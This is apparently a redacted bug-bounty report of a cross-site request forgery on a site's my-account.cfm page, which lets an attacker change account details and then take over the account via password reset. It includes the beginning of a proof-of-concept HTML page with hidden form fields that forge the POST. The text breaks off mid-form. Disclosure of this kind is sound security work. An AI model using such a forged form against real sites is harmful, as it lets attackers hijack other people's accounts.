Account Takeover and Information update due to cross site request forgery via POST █████████/registration/my-account.cfm

While researching on https://████/ , I found a cross site request forgery attack which leads to account's information update and that further leads to account takeover via password reset functionality.

    <html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="█████/registration/my-account.cfm" method="POST">
      <input type="hidden" name="cmdSubmit" value="Update&#32;My&#32;Account" />
      <input type="hidden" name="txtFirstname" value="fname" />
      <input …